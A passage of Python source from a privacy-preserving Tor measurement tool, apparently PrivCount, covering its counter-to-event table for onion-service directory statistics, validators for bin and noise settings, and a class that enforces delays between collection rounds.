'HSDir3StoreAddUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRejectUncachedReasonCountList' : { HSDIR_STORE_EVENT },
# descriptor fetch counters
# HSDir Fetch /Cached/Uncached Count/{Descriptor,Intro}Byte{Count,Histogram}/ReasonCountList
'HSDirFetchCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchCachedReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDirFetchUncachedReasonCountList' : { HSDIR_FETCH_EVENT },
# HSDir 2 Fetch /Cached/Uncached /ClientAuth/NoClientAuth Count/{Descriptor,Intro}Byte{Count,Histogram}/IntroPointHistogram/ReasonCountList/OnionAddressCountList
'HSDir2FetchCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
# HSDir 3 Fetch /Cached/Uncached Count/{Descriptor,Intro}Byte{Count,Histogram}/RevisionHistogram/ReasonCountList
'HSDir3FetchCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchRevisionHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedRevisionHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedRevisionHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedReasonCountList' : { HSDIR_FETCH_EVENT },
# the sanity check counter doesn't depend on any events
DEFAULT_DUMMY_COUNTER_NAME : set(),
}
def register_dynamic_counter(counter_name, counter_events):
'''
Register counter_name as a counter which uses the events in counter_events.
If counter_name is already a registered counter, updates the list of events
for counter.
This should be called before the counters are checked:
- in the Tally Server, early in refresh_config,
- in PrivCountClient, early in check_start_config
(PrivCountClient is a parent class of Data Collector and Share Keeper)
Any event updates are applied the next time the data collector starts a
collection phase.
Logs a message and ignores unknown events.
'''
event_set = set()
for event in counter_events:
if event in get_valid_events():
event_set.add(event)
else:
logging.warning("Ignoring unknown event {} for dynamic counter {}"
.format(event, counter_name))
PRIVCOUNT_COUNTER_EVENTS[counter_name] = event_set
def get_valid_counters():
'''
Return a set containing the name of each privcount counter, in titlecase.
(Or whatever the canonical case of the counter name is.)
'''
counter_set = set(PRIVCOUNT_COUNTER_EVENTS.keys())
# we can't check case consistency, so just return the set
return counter_set
def get_events_for_counter(counter):
'''
Return the set of events required by counter
'''
# when you add an event, but forget to update the table above,
# you will get an error here
logging.debug("Finding events for counter: '{}'".format(counter))
try:
event_set = PRIVCOUNT_COUNTER_EVENTS[counter]
except KeyError as e:
logging.error("Missing events for counter: '{}'".format(counter))
raise
assert check_event_set_valid(event_set)
return event_set
def get_events_for_counters(counter_list):
'''
Return the set of events required by at least one of the counters in
counter_list.
'''
event_set = set()
if counter_list is not None:
for counter in counter_list:
counter_events = get_events_for_counter(counter)
event_set = event_set.union(counter_events)
assert check_event_set_valid(event_set)
return event_set
def get_events_for_known_counters():
'''
Return the set of events required by at least one of the counters we know
about.
'''
return get_events_for_counters(PRIVCOUNT_COUNTER_EVENTS.keys())
def get_circuit_sample_events():
'''
Return the set of events affected by circuit_sample_rate.
'''
event_set = { CELL_EVENT,
BYTES_EVENT,
STREAM_EVENT,
CIRCUIT_EVENT,
# Not affected
#CONNECTION_EVENT,
#HSDIR_STORE_EVENT,
# Unused events
DNS_EVENT,
LEGACY_CIRCUIT_EVENT,
}
return event_set
def is_circuit_sample_counter(counter):
'''
If counter uses an event affected by circuit_sample_rate, return True.
Otherwise, return False.
'''
counter_events = get_events_for_counter(counter)
circuit_sample_events = get_circuit_sample_events()
common_events = counter_events.intersection(circuit_sample_events)
return len(common_events) > 0
def are_events_expected(counter_list, relay_flag_list):
'''
Return True if we expect to receive regular events while collecting
counter_list, on a relay with the consensus flags in relay_flag_list.
relay_flag_list must be a list, not a string.
Return False if we don't expect to receive events regularly.
'''
# It really does need to be a list
if isinstance(relay_flag_list, (str, unicode)):
relay_flag_list = relay_flag_list.split()
# no counters
if counter_list is None or len(counter_list) == 0:
return False
event_list = get_events_for_counters(counter_list)
# no events: ZeroCount only
if event_list is None or len(event_list) == 0:
return False
has_entry = "Guard" in relay_flag_list
has_exit = "Exit" in relay_flag_list
# relay_flag_list must be a list to avoid a substring match
has_hsdir2 = "HSDir" in relay_flag_list
has_hsdir3 = "HSDir3" in relay_flag_list
for counter_name in counter_list:
if has_entry and counter_name.startswith("Entry"):
return True
if has_exit and counter_name.startswith("Exit"):
return True
if has_hsdir2 and counter_name.startswith("HSDir2"):
return True
if has_hsdir3 and counter_name.startswith("HSDir3"):
return True
# no matching counters and flags
return False
def check_counter_names(counters):
'''
Check that each counter's name is in the set of valid counter names.
Returns False if any counter name is unknown, True if all are known.
'''
# sort names alphabetically, so the logs are in a sensible order
for counter_name in sorted(counters.keys()):
if counter_name not in get_valid_counters():
logging.warning("counter name {} is unknown"
.format(counter_name))
return False
return True
def count_bins(counters):
'''
Returns the total number of bins in counters.
'''
return sum([len(counter_config['bins'])
for counter_config in counters.values()])
def check_bin_count_matches_name(bins):
'''
Check that counter names that end in "Count" have a single bin, and
counter names that end in anything else have multiple bins.
'''
# sort names alphabetically, so the logs are in a sensible order
for key in sorted(bins.keys()):
bin_count = len(bins[key]['bins'])
# handle template counters by stripping the non-template part
key_template, _, _ = key.partition("_")
# the TrafficModel DelayTime counters are single bin
if key_template.endswith("Count") or key_template.endswith("DelayTime"):
if bin_count != 1:
logging.warning("counter {} ends in Count, but has {} bins: {}"
.format(key, bin_count, bins[key]))
return False
else: # Histogram, Ratio, LifeTime, DelayTime, CountList, ...
if bin_count <= 1:
logging.warning("counter {} does not end in Count, but has {} bins: {}"
.format(key, bin_count, bins[key]))
return False
return True
def check_bins_config(bins, allow_unknown_counters=False):
'''
Check that bins are non-overlapping.
Returns True if all bins are non-overlapping, and False if any overlap.
If allow_unknown_counters is False, also check that all counter names are
in the set of known counter names for this PrivCount version, returning
False if there are any unknown counters.
Raises an exception if any counter does not have bins, or if any bin does
not have a lower and upper bound
'''
if not allow_unknown_counters:
if not check_counter_names(bins):
return False
# unknown counters may have different rules for bin counts
if not check_bin_count_matches_name(bins):
return False
# sort names alphabetically, so the logs are in a sensible order
for key in sorted(bins.keys()):
# this sorts the bins by the first element in ascending order
# (if the first elements are equal, the bins are sorted by the second
# element)
sorted_bins = sorted(bins[key]['bins'])
prev_bin = None
for bin in sorted_bins:
# bins are an array [l, u, c], where c counts values such that:
# l <= value < u
# c is optional, and is ignored by this code
l = bin[0]
u = bin[1]
# check for inverted bounds
if l >= u:
logging.warning("bin {} in counter {} will never count any values, because its lower bound is greater than or equal to its upper bound"
.format(bin, key))
return False
# make sure we have a bin to compare to
if prev_bin is not None:
prev_l = prev_bin[0]
prev_u = prev_bin[1]
# two sorted bins overlap if:
# - their lower bounds are equal, or
# - the upper bound of a bin is greater than the lower bound
# of the next bin
if prev_l == l:
logging.warning("bin {} in counter {} overlaps bin {}: their lower bounds are equal"
.format(prev_bin, key, bin))
return False
elif prev_u > l:
logging.warning("bin {} in counter {} overlaps bin {}: the first bin's upper bound is greater than the second bin's lower bound"
.format(prev_bin, key, bin))
return False
prev_bin = bin
return True
def check_sigmas_config(sigmas, allow_unknown_counters=False):
'''
Check that each sigma value in sigmas is valid.
Returns True if all sigma values are valid, and False if any are invalid.
If allow_unknown_counters is False, also check that all counter names are
in the set of known counter names for this PrivCount version, returning
False if there are any unknown counters.
Raises an exception if any sigma value is missing.
'''
if not allow_unknown_counters:
if not check_counter_names(sigmas):
return False
# sort names alphabetically, so the logs are in a sensible order
for key in sorted(sigmas.keys()):
if sigmas[key]['sigma'] < 0.0:
logging.warning("invalid sigma for counter {}: less than zero".format(key))
return False
return True
def extra_counters(first, second, first_name, second_name, action_name):
'''
Return the extra counter keys in first that are not in second.
Warn about taking action_name on any missing counters.
'''
extra_keys = _extra_keys(first, second)
# Log missing keys
if len(extra_keys) > 0:
logging.info("{} counters {} because they have {}, but no {}"
.format(action_name, summarise_list(extra_keys),
first_name, second_name))
return extra_keys
def common_counters(first, second, first_name, second_name, action_name):
'''
Return the counter keys shared by first and second.
Warn about taking action_name on any missing counters.
'''
# ignore the extra counters return values, we just want the logging
extra_counters(first, second, first_name, second_name, action_name)
extra_counters(second, first, second_name, first_name, action_name)
# return common keys
return _common_keys(first, second)
def _skip_missing(counters, expected_subkey, detailed_source=None):
'''
Check that each key in counters has a subkey with the name expected_subkey.
If any key does not have a subkey named expected_subkey, skip it and log a
warning.
If detailed_source is not None, use it to describe the counters.
Otherwise, use expected_subkey.
Returns a copy of counters with invalid keys skipped.
'''
if detailed_source is None:
detailed_source = expected_subkey
valid_counters = {}
invalid_counters = []
for key in sorted(counters.keys()):
if expected_subkey in counters[key]:
valid_counters[key] = counters[key]
else:
invalid_counters.append(key)
if len(invalid_counters) > 0:
logging.warning("ignoring counters {} because they are configured as {} counters, but they do not have any {} value"
.format(summarise_list(invalid_counters),
detailed_source, expected_subkey))
return valid_counters
def skip_missing_bins(bins, detailed_source=None):
'''
Check each key in bins has a bins list.
If any key does not have a bins list, skip it and log a warning.
Returns a copy of counters with invalid keys skipped.
'''
return _skip_missing(bins, 'bins', detailed_source)
def skip_missing_sigmas(sigmas, detailed_source=None):
'''
Check each key in sigmas has a sigma value.
If any key does not have a sigma, skip it and log a warning.
Returns a copy of counters with invalid keys skipped.
'''
return _skip_missing(sigmas, 'sigma')
def combine_counters(bins, sigmas):
'''
Combine the counters in bins and sigmas, excluding any counters that are
missing from either bins or sigmas.
Combine the keys and values from both bins and sigmas in the output
counters, according to what the tally server is permitted to update.
(Both bins and sigmas are configured at the tally server.)
Return a dictionary containing the combined keys.
'''
# Remove invalid counters
bins = skip_missing_bins(bins)
sigmas = skip_missing_sigmas(sigmas)
# we allow the tally server to update the set of counters
# (we can't count keys for which we don't have both bins and sigmas)
common_keys = common_counters(bins, sigmas, 'bins', 'sigma',
'ignoring')
counters_combined = {}
for key in common_keys:
# skip_missing_* ensures these exist
assert 'bins' in bins[key]
assert 'sigma' in sigmas[key]
# Use the values from the sigmas
counters_combined[key] = deepcopy(sigmas[key])
# Except for the bin values, which come from bins
# we allow the tally server to update the bin widths
counters_combined[key]['bins'] = deepcopy(bins[key]['bins'])
return counters_combined
def check_combined_counters(bins, sigmas):
'''
Sanity check bins against sigmas.
Returns False if:
- the set of counters in bins and sigmas is not the same, or
- any counter is missing bins, or
- any counter is missing a sigma, or
- any counter is duplicated.
'''
combined_counters = combine_counters(bins, sigmas)
return (len(combined_counters) == len(bins) and
len(combined_counters) == len(sigmas))
def check_counters_config(bins, sigmas, allow_unknown_counters=False):
'''
Sanity check bins and sigmas individually.
Check that bins and sigmas have the same set of counters.
If allow_unknown_counters is False, also check that all counter names are
in the set of known counter names for this PrivCount version.
'''
return (check_bins_config(bins,
allow_unknown_counters=allow_unknown_counters) and
check_sigmas_config(sigmas,
allow_unknown_counters=allow_unknown_counters) and
check_combined_counters(bins, sigmas))
def float_representation_accuracy():
'''
When converting an exact number to a python float, the maximum possible
proportional change in the value of the float.
For the exact number n, converting n to a float could change the value by
at most +/- n * float_representation_accuracy().
Returns a floating point number representing the maximum relative increase
or decrease in the value of the original exact number.
'''
# When converting an exact value to a python float, the maximum possible
# proportional change is half the distance between one float value and the
# next largest or smallest float value.
# Conventiently, the distance between adjacent floats is at most the float
# epsilon multiplied by the value of the float, as the distance between
# adjacent floats scales as they get larger or smaller.
# On most platforms, the float epsilon is 2 ** -53.
return sys.float_info.epsilon/2.0
def float_string_accuracy():
'''
When converting a python float to a string and back, the maximum possible
proportional change in the value of the float.
For the float f, converting f to a string and back could change the value
by at most +/- f * float_string_accuracy().
Returns a floating point number representing the maximum relative increase
or decrease in the value of the original float.
'''
# sys.float_info.dig is the number of significant figures that are
# guaranteed to be preserved when converting a float to a string and
# then back to a float (PrivCount does this when sending sigma between
# the TS and the SKs/DCs).
# This is based on python's float repr() rule, introduced in versions 2.7
# and 3.1:
# Python "displays a value based on the shortest decimal fraction that
# rounds correctly back to the true binary value"
# On most 32 and 64-bit platforms, sys.float_info.dig is 15 digits.
# Therefore, the maximum change in value that can occur is the 15th digit
# (of least significance) changing by +/- 1.
# But we can't just multiply the original value by 10 ** -15, because
# the (significand of the) float can have any value in [0.1, 0.999...].
# Therefore, we need to multiply the tolerance by another 10x.
# This gives us a tolerance of 10 ** -14 on most systems.
return 10.0 ** (-sys.float_info.dig + 1)
def float_accuracy():
'''
The maximum proportional change in an exact value when converted to a
float, then a string, then back to a float.
For the exact number n, converting n to a float then string then float
could change the value by at most +/- n * float_accuracy().
Returns a floating point number representing the maximum relative increase
or decrease in the value of the original exact number.
'''
# If the inaccuracies are both in the same direction, the total inaccuracy
# is the sum of all inaccuracies
return float_representation_accuracy() + float_string_accuracy()
class CollectionDelay(object):
'''
Ensures a configurable delay between rounds with different noise
allocations.
Usage:
(the SKs must enforce these checks for the protocol to be secure
the TS does these checks for convenience, the DCs for defence in depth)
TS: configures round
uses get_next_round_start_time() for status updates
checks round_start_permitted() before starting collection
DC: checks round_start_permitted() before sending blinding shares
SK: checks round_start_permitted() before accepting blinding shares
(round runs)
DC: set_delay_for_stop() when round stops and counters are sent
SK: set_delay_for_stop() when round stops and blinding shares are sent
TS: set_delay_for_stop() when round ends successfully
(repeat for next round, if TS has continue set in its config)
'''
def __init__(self):
'''
Initialise the noise allocations and times required to track collection
delays.
'''
# The earliest noise allocation in a series of equivalent noise
# allocations
self.starting_noise_allocation = None
# The end time of the successful round to use an equivalent allocation
self.last_round_end_time = None
DEFAULT_SIGMA_DECREASE_TOLERANCE = DEFAULT_SIGMA_TOLERANCE
@staticmethod
def sigma_change_needs_delay(
previous_sigma, proposed_sigma,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE,
logging_label=None):
'''
Check if there should be a delay between rounds using the previous
and proposed sigma values for the same counter.
A counter can use two sigma values without a delay between them if:
- The values are equal (within a small tolerance), or
- The proposed value is greater than the previous value.
Returns True if the sigma values need a delay, False if they do not.
'''
assert previous_sigma >= 0
assert proposed_sigma >= 0
assert tolerance >= 0
if proposed_sigma >= previous_sigma:
# the sigma has increased: no delay required
return False
elif previous_sigma - proposed_sigma <= tolerance:
# the sigma has decreased, but not by enough to matter
return False
# the sigma has decreased too much - enforce a delay
if logging_label is not None:
logging.warning("Delaying round: proposed sigma %.2g is less than previous sigma %.2g, and not within tolerance %.2g, in counter %s",
proposed_sigma,
previous_sigma,
tolerance,
logging_label)
return True
@staticmethod
def noise_change_needs_delay(
previous_allocation, proposed_allocation,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE):
'''
Check if there should be a delay between rounds using the previous
and proposed noise allocations.
Two allocations can be used without a delay between them if:
- They have the same keys, and
- The sigma values for those keys do not need a delay, using the
acceptable sigma decrease tolerance.
Returns True if the allocations need a delay, False if they do not.
'''
# There must be an allocation for a valid round
assert proposed_allocation is not None
assert tolerance >= 0
# No delay for the first round
if previous_allocation is None:
return False
# Ignore and log missing sigmas
previous_sigmas = skip_missing_sigmas(previous_allocation['counters'],
'previous sigma')
proposed_sigmas = skip_missing_sigmas(proposed_allocation['counters'],
'proposed sigma')
# Check that we have the same set of counters
common_sigmas = common_counters(previous_sigmas, proposed_sigmas,
'previous sigma', 'proposed sigma',
"can't compare sigmas on")
if len(common_sigmas) != len(previous_sigmas):
return True
if len(common_sigmas) != len(proposed_sigmas):
return True
# check the sigma values are the same
for key in sorted(common_sigmas):
if CollectionDelay.sigma_change_needs_delay(
previous_sigmas[key]['sigma'],
proposed_sigmas[key]['sigma'],
tolerance=tolerance,
logging_label=key):
return True
return False
def get_next_round_start_time(
self, noise_allocation, delay_period,
max_client_rtt=0.0,
always_delay=False,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE):
'''
Return the earliest time at which a round with noise allocation could
start, where delay_period is the configurable delay.
If always_delay is True, always delay the round by delay_period.
(This is intended for use while testing.)
max_client_rtt is the maximum client RTT of all clients (only used by
the Tally Server).
tolerance is the acceptable sigma decrease.
'''
# there must be a configured delay_period (or a default must be used)
assert delay_period >= 0
# that is, it must be boolean-coercible
assert always_delay or not always_delay
# there must be a noise allocation for the next round
assert noise_allocation is not None
assert tolerance >= 0
noise_change_delay = self.noise_change_needs_delay(
self.starting_noise_allocation,
noise_allocation,
tolerance=tolerance)
needs_delay = always_delay or noise_change_delay
if noise_change_delay:
# if there was a change, there must have been a previous allocation
assert self.starting_noise_allocation
if self.last_round_end_time is None:
# a delay is meaningless, there have been no previous successful
# rounds
# we can start any time
return 0
elif needs_delay:
# if there was a previous round, and we need to delay after it,
# there must have been an end time for that round
next_start_time = self.last_round_end_time + delay_period + max_client_rtt
return next_start_time
else:
# we can start any time after the last round ended
return self.last_round_end_time
def round_start_permitted(
self, noise_allocation, start_time, delay_period,
max_client_rtt=0.0,
always_delay=False,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE,
logging_function=logging.debug):
'''
Check if we are permitted to start a round with noise allocation
at start time, with the configured delay_period and max_client_rtt.
If always_delay is True, always delay the round by delay_period.
(This is intended for use while testing.)
max_client_rtt is the maximum client RTT of all clients (only used by
the Tally Server).
tolerance is the acceptable sigma decrease.
Return True if starting the round is permitted.
If it is not, return False, and log a message using logging_function.
'''
# there must be a start time
assert start_time >= 0
# all the other assertions are in this function
next_start_time = self.get_next_round_start_time(noise_allocation,
delay_period,
max_client_rtt=max_client_rtt,
always_delay=always_delay,
tolerance=tolerance)
if start_time >= next_start_time:
return True
else:
if always_delay:
delay_reason = "we are configured to always delay"
else:
delay_reason = "noise allocation changed"
logging_function("Delaying round for %s because %s",
format_delay_time_until(next_start_time,
'until'),
delay_reason)
return False
def set_delay_for_stop(
self, round_successful, noise_allocation, start_time, end_time,
delay_period,
max_client_rtt=0.0,
always_delay=False,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE):
'''
Called when a round ends.
If the new noise allocation is not equivalent to the stored noise,
update the stored noise. Update the stored last round end time.
No updates are performed for failed rounds.
Log a warning if it appears that the round was started too early.
(This can also occur if the config is changed mid-round.)
If always_delay is True, assume the round was delayed, regardless of
the noise allocation. (This is intended for use while testing.)
max_client_rtt is the maximum client RTT of all clients (only used by
the Tally Server).
tolerance is the acceptable sigma decrease.
'''
# make sure we haven't violated our own preconditions
# that is, it must be boolean-coercible
assert round_successful or not round_successful
assert noise_allocation is not None
assert start_time >= 0
assert end_time >= 0
assert start_time < end_time
assert delay_period >= 0
assert always_delay or not always_delay
assert tolerance >= 0
# did we forget to check if we needed to delay this round?
# warn, because this can happen if the delay is reconfigured,
# or if another node fails a round because it starts sooner than its
# configured delay, or if the Tally server asks for results twice
if not self.round_start_permitted(noise_allocation,
start_time,
delay_period,
max_client_rtt=max_client_rtt,
always_delay=always_delay,
tolerance=tolerance):
expected_start = self.get_next_round_start_time(noise_allocation,
delay_period,
max_client_rtt=max_client_rtt,
always_delay=always_delay,
tolerance=tolerance)
status = "successfully stopped" if round_successful else "stopped unexpectedly (failure or duplicate event)"
logging.warning("Round that just {} was started {} before enforced delay elapsed. Round started {}, expected start {}."
.format(status,
format_period(expected_start - start_time),
format_elapsed_time_since(start_time,
'at'),
format_elapsed_time_since(expected_start,
'at')))
if round_successful:
# The end time is always updated
self.last_round_end_time = end_time
if self.starting_noise_allocation is None or always_delay:
